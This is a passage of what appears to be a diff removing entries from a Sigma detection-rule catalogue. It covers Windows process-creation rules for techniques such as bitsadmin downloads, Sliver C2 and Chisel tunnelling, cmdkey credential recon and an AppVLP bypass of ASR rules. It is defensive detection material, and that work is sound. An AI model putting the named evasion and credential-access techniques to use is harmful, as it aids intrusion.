extraction" - ], - "filename": "proc_creation_win_archiver_iso_phishing.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/1ZRR4H/status/1534259727059787783", - "https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_archiver_iso_phishing.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566" - ] - }, - "uuid": "fcdf69e5-a3d3-452a-9724-26f2308bf2b1", - "value": "Phishing Pattern ISO in Archive" - }, - { - "description": "Application Virtualization Utility is included with Microsoft Office. We are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but we can use it as an abuse binary to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n", - "meta": { - "author": "Sreeman", - "creation_date": "2020/03/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_asr_bypass_via_appvlp_re.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_asr_bypass_via_appvlp_re.yml" - ], - "tags": [ - "attack.t1218", - "attack.defense_evasion", - "attack.execution" - ] - }, - "uuid": "9c7e131a-0f2c-4ae0-9d43-b04f4e266d43", - "value": "Using AppVLP To Circumvent ASR File Path Rule" - }, - { - "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/09/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/h3v0x/CVE-2021-26084_Confluence", - "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html", - "https://nvd.nist.gov/vuln/detail/CVE-2021-26084", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.execution", - "attack.t1190", - "attack.t1059" - ] - }, - "uuid": "245f92e3-c4da-45f1-9070-bc552e06db11", - "value": "Atlassian Confluence CVE-2021-26084" - }, - { - "description": "Detects usage of attrib.exe to hide files from users.", - "meta": { - "author": "Sami Ruohonen", - "creation_date": "2019/01/16", - "falsepositive": [ - "IgfxCUIService.exe hiding *.cui files via .bat script (attrib.exe a child of cmd.exe and igfxCUIService.exe is the parent of the cmd.exe)", - "Msiexec.exe hiding desktop.ini" - ], - "filename": "proc_creation_win_attrib_hiding_files.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ] - }, - "uuid": "4281cb20-2994-4580-aa63-c8b86d019934", - "value": "Hiding Files with Attrib.exe" - }, - { - "description": "Marks a file as a system file using the attrib.exe utility", - "meta": { - "author": "frack113", - "creation_date": "2022/02/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_attrib_system.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-3---create-windows-system-file-with-attrib", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ] - }, - "uuid": "bb19e94c-59ae-4c15-8c12-c563d23fe52b", - "value": "Set Windows System File with Attrib" - }, - { - "description": "Detects usage of attrib with \"+s\" option to set suspicious script or executable as system files to hide them from users and make them unable to delete with simple rights. The rule limit the search to specific extensions and directories to avoid FP's", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_attrib_system_susp_paths.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml", - "https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ] - }, - "uuid": "efec536f-72e8-4656-8960-5e85d091345b", - "value": "Set Suspicious Files as System Files Using Attrib" - }, - { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", - "meta": { - "author": "frack113", - "creation_date": "2021/07/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_automated_collection.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_automated_collection.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md" - ], - "tags": [ - "attack.collection", - "attack.t1119", - "attack.credential_access", - "attack.t1552.001" - ] - }, - "uuid": "f576a613-2392-4067-9d1a-9345fb58d8d1", - "value": "Automated Collection Command Prompt" - }, - { - "description": "Detects attackers using tooling with bad opsec defaults e.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run, one trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.", - "meta": { - "author": "Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard", - "creation_date": "2020/10/23", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_bad_opsec_sacrificial_processes.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bad_opsec_sacrificial_processes.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32", - "https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool", - "https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool#feedback", - "https://twitter.com/CyberRaiju/status/1251492025678983169", - "https://www.cobaltstrike.com/help-opsec", - "https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "a7c3d773-caef-227e-a7e7-c2f13c622329", - "value": "Bad Opsec Defaults Sacrificial Processes With Improper Arguments" - }, - { - "description": "Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets", - "meta": { - "author": "pH-T", - "creation_date": "2022/05/31", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_base64_invoke_susp_cmdlets.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_invoke_susp_cmdlets.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "fd6e2919-3936-40c9-99db-0aa922c356f7", - "value": "Malicious Base64 Encoded Powershell Invoke Cmdlets" - }, - { - "description": "Detects base64 encoded listing Win32_Shadowcopy", - "meta": { - "author": "Christian Burkard", - "creation_date": "2022/03/01", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_base64_listing_shadowcopy.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_listing_shadowcopy.yml", - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "47688f1b-9f51-4656-b013-3cc49a166a36", - "value": "Base64 Encoded Listing of Shadowcopy" - }, - { - "description": "Detects base64 encoded .NET reflective loading of Assembly", - "meta": { - "author": "Christian Burkard, pH-T", - "creation_date": "2022/03/01", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_base64_reflective_assembly_load.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_reflective_assembly_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "62b7ccc9-23b4-471e-aa15-6da3663c4d59", - "value": "Base64 Encoded Reflective Assembly Load" - }, - { - "description": "Detects usage of bitsadmin downloading a file", - "meta": { - "author": "Michael Haag, FPT.EagleEye", - "creation_date": "2017/03/09", - "falsepositive": [ - "Some legitimate apps use this, but limited." - ], - "filename": "proc_creation_win_bitsadmin_download.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://isc.sans.edu/diary/22264", - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ] - }, - "uuid": "d059842b-6b9d-4ed1-b5c3-5b89143c6ede", - "value": "Bitsadmin Download" - }, - { - "description": "Detects usage of bitsadmin downloading a file from a suspicious domain", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/28", - "falsepositive": [ - "Some legitimate apps use this, but limited." - ], - "filename": "proc_creation_win_bitsadmin_download_susp_domain.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://isc.sans.edu/diary/22264", - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_domain.yml", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ] - }, - "uuid": "8518ed3d-f7c9-4601-a26c-f361a4256a0c", - "value": "Bitsadmin Download from Suspicious Domain" - }, - { - "description": "Detects usage of bitsadmin downloading a file with a suspicious extension", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_bitsadmin_download_susp_ext.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://isc.sans.edu/diary/22264", - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ext.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ] - }, - "uuid": "5b80a791-ad9b-4b75-bcc1-ad4e1e89c200", - "value": "Bitsadmin Download File with Suspicious Extension" - }, - { - "description": "Detects usage of bitsadmin downloading a file using an URL that contains an IP", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_bitsadmin_download_susp_ip.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://isc.sans.edu/diary/22264", - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ip.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ] - }, - "uuid": "99c840f2-2012-46fd-9141-c761987550ef", - "value": "Bitsadmin Download File from IP" - }, - { - "description": "Detects usage of bitsadmin downloading a file to a suspicious target folder", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_bitsadmin_download_susp_targetfolder.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://isc.sans.edu/diary/22264", - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ] - }, - "uuid": "2ddef153-167b-4e89-86b6-757a9e65dcac", - "value": "Bitsadmin Download to Suspicious Target Folder" - }, - { - "description": "Detects usage of bitsadmin downloading a file to uncommon target folder", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://isc.sans.edu/diary/22264", - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ] - }, - "uuid": "6e30c82f-a9f8-4aab-b79c-7c12bce6f248", - "value": "Bitsadmin Download to Uncommon Target Folder" - }, - { - "description": "Identifies use of the bcdedit command to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique.", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_bootconf_mod.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bootconf_mod.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "1444443e-6757-43e4-9ea4-c8fc705f79a2", - "value": "Modification of Boot Configuration" - }, - { - "description": "Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks", - "meta": { - "author": "pH-T, Nasreddine Bencherchali (update)", - "creation_date": "2022/07/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_browser_remote_debugging.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf", - "https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browser_remote_debugging.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1185" - ] - }, - "uuid": "b3d34dc5-2efd-4ae3-845f-8ec14921f449", - "value": "Browser Started with Remote Debugging" - }, - { - "description": "Detects WMI SquiblyTwo Attack with possible renamed WMI by looking for imphash", - "meta": { - "author": "Markus Neis, Florian Roth", - "creation_date": "2019/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_bypass_squiblytwo.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bypass_squiblytwo.yml", - "https://twitter.com/mattifestation/status/986280382042595328", - "https://subt0x11.blogspot.ch/2018/04/wmicexe-whitelisting-bypass-hacking.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1047", - "attack.t1220", - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ] - }, - "uuid": "8d63dadf-b91b-4187-87b6-34a1114577ea", - "value": "SquiblyTwo Execution" - }, - { - "description": "Detects process activity patterns as seen being used by Sliver C2 framework implants", - "meta": { - "author": "Nasreddine Bencherchali, Florian Roth", - "creation_date": "2022/08/25", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_c2_sliver.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c2_sliver.yml", - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", - "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "42333b2c-b425-441c-b70e-99404a17170f", - "value": "Sliver C2 Implant Activity Pattern" - }, - { - "description": "F-Secure C3 produces DLLs with a default exported StartNodeRelay function.", - "meta": { - "author": "Alfie Champion (ajpc500)", - "creation_date": "2021/06/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_c3_load_by_rundll32.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c3_load_by_rundll32.yml", - "https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "b18c9d4c-fac9-4708-bd06-dd5bfacf200f", - "value": "F-Secure C3 Load by Rundll32" - }, - { - "description": "Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_certoc_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_execution.yml", - "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "242301bc-f92f-4476-8718-78004a6efd9f", - "value": "Suspicious Load DLL via CertOC.exe" - }, - { - "description": "Detects possible NTLM coercion via certutil using the 'syncwithWU' flag", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_certutil_ntlm_coercion.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml", - "https://github.com/LOLBAS-Project/LOLBAS/issues/243" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "6c6d9280-e6d0-4b9d-80ac-254701b64916", - "value": "NTLM Coercion Via Certutil.exe" - }, - { - "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "Admin activity" - ], - "filename": "proc_creation_win_change_default_file_association.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_association.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md" - ], - "tags": [ - "attack.persistence", - "attack.t1546.001" - ] - }, - "uuid": "3d3aa6cd-6272-44d6-8afc-7e88dfef7061", - "value": "Change Default File Association" - }, - { - "description": "Detects when a program changes the default file association of any extension to an executable", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_change_default_file_assoc_susp.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/assoc", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_assoc_susp.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.001" - ] - }, - "uuid": "ae6f14e6-14de-45b0-9f44-c0986f50dc89", - "value": "Change Default File Association To Executable" - }, - { - "description": "Detects usage of the Chisel tunneling tool via the commandline arguments", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/09/13", - "falsepositive": [ - "Some false positives may occure with other tools with similar commandlines" - ], - "filename": "proc_creation_win_chisel_usage.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chisel_usage.yml", - "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", - "https://github.com/jpillora/chisel/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090.001" - ] - }, - "uuid": "8b0e12da-d3c3-49db-bb4f-256703f380e5", - "value": "Chisel Tunneling Tool Usage" - }, - { - "description": "Detects PowerShell process spawning a 'chrome.exe' process with the 'load-extension' flag to start a new chrome instance with custom extensions, as seen being used in 'ChromeLoader'", - "meta": { - "author": "Aedan Russell, frack113 (sigma)", - "creation_date": "2022/06/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_chrome_load_extension.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/chromeloader/", - "https://emkc.org/s/RJjuLa", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chrome_load_extension.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1176" - ] - }, - "uuid": "27ba3207-dd30-4812-abbf-5d20c57d474e", - "value": "Powershell ChromeLoader Browser Hijacker" - }, - { - "description": "Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.", - "meta": { - "author": "Nasreddine Bencherchali @nas_bench", - "creation_date": "2021/12/18", - "falsepositive": [ - "Legitimate administrative use (Should be investigated either way)" - ], - "filename": "proc_creation_win_cleanwipe.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cleanwipe.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "f44800ac-38ec-471f-936e-3fa7d9c53100", - "value": "CleanWipe Usage" - }, - { - "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications.", - "meta": { - "author": "frack113", - "creation_date": "2021/07/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_clip.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/clip", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ] - }, - "uuid": "ddeff553-5233-4ae9-bbab-d64d2bd634be", - "value": "Use of CLIP" - }, - { - "description": "Detects usage of cmdkey to look for cached credentials", - "meta": { - "author": "jmallette, Florian Roth, Nasreddine Bencherchali (update)", - "creation_date": "2019/01/16", - "falsepositive": [ - "Legitimate administrative tasks" - ], - "filename": "proc_creation_win_cmdkey_recon.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml", - "https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.005" - ] - }, - "uuid": "07f8bdc2-c9b3-472a-9817-5a670b872f53", - "value": "Cmdkey Cached Credentials Recon" - }, - { - "description": "Adversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/15", - "falsepositive": [ - "Legitimate scripts" - ], - "filename": "proc_creation_win_cmd_delete.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_delete.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ] - }, - "uuid": "379fa130-190e-4c3f-b7bc-6c8e834485f3", - "value": "Windows Cmd Delete File" - }, - { - "description": "Detects possible payload obfuscation via the commandline", - "meta": { - "author": "frack113", - "creation_date": "2022/02/15", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_cmd_dosfuscation.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dosfuscation.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "a77c1610-fc73-4019-8e29-0f51efc04a51", - "value": "Suspicious Dosfuscation Character in Commandline" - }, - { - "description": "Detect use of \"/R <\" to read and execute a file via cmd.exe", - "meta": { - "author": "frack113", - "creation_date": "2022/08/20", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_cmd_read_contents.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_read_contents.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ] - }, - "uuid": "00a4bacd-6db4-46d5-9258-a7d5ebff4003", - "value": "Read and Execute a File Via Cmd.exe" - }, - { - "description": "Use \">\" to redicrect information in commandline", - "meta": { - "author": "frack113", - "creation_date": "2022/01/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_cmd_redirect.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirect.yml", - "https://ss64.com/nt/syntax-redirection.html" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ] - }, - "uuid": "4f4eaa9f-5ad4-410c-a4be-bc6132b0175a", - "value": "Redirect Output in CommandLine" - }, - { - "description": "Detects inline windows shell commands redirecting output via the \">\" symbol to a suspicious location", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/12", - "falsepositive": [ - "Legitimate admin scripts" - ], - "filename": "proc_creation_win_cmd_redirection_susp_folder.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml", - 